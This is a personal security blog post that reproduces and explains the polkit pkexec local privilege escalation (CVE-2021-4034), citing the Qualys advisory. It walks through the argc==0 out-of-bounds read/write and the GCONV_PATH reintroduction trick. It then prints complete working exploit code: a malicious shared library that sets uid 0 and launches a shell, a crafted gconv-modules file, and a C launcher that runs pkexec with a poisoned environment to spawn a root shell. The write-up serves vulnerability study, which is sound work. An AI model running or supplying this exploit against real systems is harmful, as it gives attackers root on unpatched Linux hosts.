pkexec LPE (CVE-2021-4034)
Hi everyone, long time that I’ve been off.
First of all, I want to apologize if anyone was following this blog in order to check for new posts
, some life things out of my control got me off of pwning | computers
, more than I liked. I’ll resume the journey with the motivation of a couple of friends <3, I really hope that this helps anyone out there.
Summary
The purpose of this blogpost is to reproduce
and understand
the polkit pkexec
vulnerability (cve-2021-4034
). Polkit
is a component for controlling system privileges in unix systems
. It provides an organized way for non-privileged processes to communicate with privileged ones. The main objective is to exploit an out of bounds r/w
on a SUID binary
: pkexec.
Original advisory (kudosssss): Qualys Advisory.
Background
- pkexec: Porgram that allows to execute an specific program as another user (SUID binary).
From the advisory, the following points are clear.
- The bug is triggered when
argc
is0
. argv
andenvp
are contiguous in memory.- The
oob write
, allows us to write onenvp[0]
(introduce a new environment variable).
So, the first thing to understand here is how arguments works in C
.
- argv: This variable is an
array of strings
null terminated. Its elements are the command line arguments passed to the program. When it is executed from the command line, the first(0)
argument, is the program itself. - argc: An integer that represents the
size of argument array argv
, passed to themain()
function. The arrayargv
length isargc
, with theargv[argc] == NULL
. - envp: This argument provides the function with access to the program’s environment variables, such as the
PATH
variable.
Understanding the bug
For this “work”, I’ll be using the ubuntu 18.04 (mid 2021)
default version of pkexec
which is 0.105
To get the source code from the respective repositry.
git -c http.sslVerify=false clone https://gitlab.freedesktop.org/polkit/polkit.git
git checkout tags/0.105
From the qualys blogpost, we know that the issue
relies on the pkexec.c
, specifically, the for loop which is for argument handling
. This for loop work
is to check for every argument passed to pkexec
and it is as follows.
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}
What happen if we pass an argc == 0
? Since n
starts at 1
, the for loop will terminate inmediatly, that means that the n == 1
. With this, the n value issue
will propagate to the line 537
which is as follows.
path = g_strdup (argv[n]);
The target of g_strdup
, will be the envp[0]
, since the sizeof(argv) == 1
, which is with value of NULL
. (argv[0] == NULL
).
With this in mind, by invoking the program
by doing an execve
syscall, we’re able to control the argv[0]
to not be the program name
, instead of that, we pass a null array
.
To understand this argument handling
, I did this tiny example which are 2 basic programs that call each other using an execve()
.
ubuntu@ubuntu:~/pwn/tests/args$ cat one.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
printf("Value of argc: %d\n", argc);
char **s = argv;
while(*s != NULL){
printf("Value: %s\n", *s);
s++;
}
return 0;
}
ubuntu@ubuntu:~/pwn/tests/args$ cat two.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char *args[] = {NULL};
char *envp[] = {"1","2", NULL};
execve("./one", args, envp);
return 0;
}
By compiling and running this example, is easy to notice that the envp[0]
is under our control by using a execve syscall
in comparision of calling the program directly from the shell.
re-introduce an environment variable
As we know, the call of a suid binary
, is special, since it sanitize the environment variables
passed to it, avoiding attacks such as using an LD_PRELOAD
environment variable, but, here’s where this bug shine.
Just after the oob read for lop
, we reach the following piece of code.
/* Now figure out the command-line to run - argv is guaranteed to be NULL-terminated, see
*
* http://lkml.indiana.edu/hypermail/linux/kernel/0409.2/0287.html
*
* but do check this is the case.
*
* We also try to locate the program in the path if a non-absolute path is given.
*/
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); // <- (1)
if (path == NULL)
{
usage (argc, argv);
goto out;
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path); // <- (2)
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s; // <- (3)
}
if (access (path, F_OK) != 0)
{
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
command_line = g_strjoinv (" ", argv + n);
exec_argv = argv + n;>)
From this piece of code, we have the following issues.
- On
(1)
we have thearbitrary read
mentioned above, accessing theenvp[0]
, via theargv[n]
withn == 1
. - On
(2)
, if theexecutable
existsg_find_program_in_path()
will return theabsolute path name
of it (here’s the important part, summarized in thequalys advisory, summary below
). - On
(3)
, we overwriteargv[n] and path
, with the value ofs
, which is thefull path
of theenvp[0]
.
Nice, we can overwrite the envp[0]
with an arbitrary value, but which value ?
From the QUALYS advisory.
If our PATH environment variable is “PATH=name”, and if the directory “name” exists (in the current working directory) and contains an executable file named “value”, then a pointer to the string “name/value” is written out-of-bounds to envp[0]
OR
If our PATH is “PATH=name=.”, and if the directory “name=.” exists and contains an executable file named “value”, then a pointer to the string “name=./value” is written out-of-bounds to envp[0].
The last statement sound awesome to re-introduce the GCONV_PATH
malicious variable into the envp array
easily, nice. But we have to care about another points which are the following:
- There’s a small window where we can introduce our environment variables, since they’re
sanitized
bypkexec
. - Is important to notice that the
validate_environment_variable()
function calls internally theg_printerr()
function. important. - If the
CHARSET
environment variable exists and its value is other thanUTF-8
,g_printerr()
will calliconv_open()
. iconv_open()
reads a configuration file to determine whatshared library
use in order to make thecharacter conversion
.- If the
GCONV_PATH
environment variable exists,iconv_open()
will use that path instead of reading the configuration file. - Since
GCONV_PATH
is unsafe, is cleared while runningSUID
binaries. But using this bug we can re-introduce it :D
Everything’s good, we have the GCONV_PATH
environment variables back into the envp array
, but, how we can force the program to call iconv()
? ez: forcing it to call g_printerr()
.
Now, let’s mess with the locale
things. From the iconv man page, we have the following
If GCONV_PATH is not set, iconv_open(3) loads the system gconv module configuration cache file created by iconvconfig(8) and then, based on the configuration, loads the gconv modules needed to perform the conversion.
The configuration file mentioned here is as follows.
From the header, we know that the format is as follows
module from_name to_name so_filename cost
From here we can deduce that if we want to translate BS_4730
to UTF-8
, we need to use ISO646.so
Using this information, we can build our own malicious config file
, that will be loaded because the GCONV_PATH
will be present. With this, a malicious .so
file (specified in the config) will be loaded in order to make the conversion.
The simple-evil shared object
file is as follows:
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
void _init(){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
printf("Executed shared library evil \n !");
execve("/bin/bash",(char *[]){"-i", NULL}, NULL);
execve("/bin/sh",(char *[]){NULL}, NULL);
}
Compile it with the following commands.
$ gcc -c -Wall -fPIC ISO646.c
$ gcc -nostartfiles -shared -o ISO646.so ISO646.o
$ mv ISO646.so gconv
To test if this is working, we can use iconv
with the GCONV_PATH
environment variable just as follows.
Nice!
btw, the target charset
, can be arbitrary. For the sake of this poc I’ll use the deadbeef
target charset.
In order to trigger this from inside the code, lets create the name=.
directory and lets see on the debugger
what is written on the envp[0]
while executing it with the PATH=name=.
$ mkdir -- "name=."
$ touch 'name=./f'
And the program to trigger this is as follows.
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main()
{
printf("[*] Starting the exploit...\n");
char *args[] = {NULL};
char *envp[] = {"f","PATH=name=.", NULL};
execve("/usr/bin/pkexec", args, envp);
}
Important note: To make possible the debug of this example
, it is need to run the debugger
as root, since it is a SUID binary
.
Nice, the mov rbx, rax
instruction, is likely to be the line where the argv[n]
is written again.
// from pkexec.c, line 553
argv[n] = path = s;
nice !
exploit
To summarize the vector logic
.
- We have an
out of bounds read
, which allows us to read theenvp[0]
, using theargv[n]
statement. - We have an
out of bounds write
, which allows us to write onenvp[0]
the result ofg_find_program_in_path()
. This can be abused to introduce a newenvironment variable
. - Using this, we re-introduce the
GCONV_PATH
environment variable which will point to our maliciousconfig/shared object file
. - In order to abuse this
re-introduction
, we need to force the program to make acharset conversion
. We do this by using an invalidSHELL
environment variable. This will makepkexec
to callvalidate_environment_variable()
. Since theSHELL
environment is invalid (not presented on/etc/shells
), thelog_message()
and theg_printerr()
functions are called. - Since our context have the
CHARSET
environment variable set,g_printerr()
will force aconversion
toUTF-8
in order to print out the error. - While doing this conversion, the
GCONV_PATH
environment will be present, which means thatgconv
will go ahead and look for theconfig
and theshared object
file on our custom path.
The final exploit will be as follows
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
const char *gconf_file = "# malicious config file\n\
alias ISO-IR-4// BS_4730//\n\
alias ISO646-GB// BS_4730//\n\
alias GB// BS_4730//\n\
alias UK// BS_4730//\n\
alias CSISO4UNITEDKINGDOM// BS_4730//\n\
module BS_4730// INTERNAL ISO646 2\n\
module INTERNAL BS_4730// ISO646 2\n\
module UTF-8// deadbeef// ISO646 2\n";
void setup(){
/* Create the directory that will hold the malicious shared library and configuration */
printf("[!] Creating GCONV_PATH directory\n");
struct stat gconv_stat = {0};
struct stat shared_stat = {0};
if(stat("./GCONV_PATH=", &gconv_stat) == -1) mkdir("GCONV_PATH=", 0755);
/* Check if there's some share object created */
printf("[?] Checking the needed shared object\n");
if(stat("./s.so", &shared_stat) == -1){
printf("[!] Error, first compile the shared object\n");
exit(-1);
}
/* Move the shared object to the malicious path */
printf("[?] Creating the files under /tmp\n");
if(rename("./s.so", "/tmp/ISO646.so") != 0){
printf("[!]Error moving the .so file\n");
exit(-1);
}
/* Create the malicious configuration */
FILE *fp;
fp = fopen("/tmp/gconv-modules", "w+");
fputs(gconf_file, fp);
fclose(fp);
/* Create dummy file inside the gconv directory */
printf("[?] Creating tmp file under GCONV directory\n");
fp = fopen("./GCONV_PATH=/tmp", "w+");
fputs("#!/bin/sh", fp);
fclose(fp);
if (chmod("./GCONV_PATH=/tmp", S_IRWXU)!=0 ) {
printf("[!] Error changing permissions");
exit(-1);
}
printf("[*] Setup finished successfuly !\n");
}
void cleanup(){
printf("[!] Deleting files under /tmp directory\n");
unlink("/tmp/gconv-modules");
unlink("/tmp/ISO646.so");
unlink("./GCONV_PATH=/tmp");
printf("[!] Deleting directory custom \n");
rmdir("./GCONV_PATH=");
printf("[!] Cleanup done\n");
}
/*
main+974 g_find_program_in_path@plt
*/
void main()
{
printf("[*] Starting the exploit...\n");
setup();
char *args[] = {NULL};
//char *envp[] = {"f","PATH=name=.", NULL};
//char *envp[] = {"tmp","PATH=GCONV_PATH=", "SHELL=abc", "CHARSET=ISO646-GB", NULL};
char *envp[] = {"tmp","PATH=GCONV_PATH=", "SHELL=notashell", "CHARSET=deadbeef", NULL};
printf("Cross your fingers, spawning a shell\n");
if(fork()){
wait(NULL);
cleanup();
printf("[!] Exiting !\n");
exit(1);
}
execve("/usr/bin/pkexec", args, envp);
}
Conclusion
Lesson learned:
- A simple
out of bound read/write
can be dangerous. - An advisory can be
not-so
detailed, read it til’ it make sense, things that can help to get it down:- Diffing the patched with the vulnerable
code/binary
. - Read poc’s
- Read write-ups
- Diffing the patched with the vulnerable
- This vulnetability have more than
10 years
, if you’re interested intocode review
, just go (note for myself).
Any advice, correction or feedback will be appreciate <3 !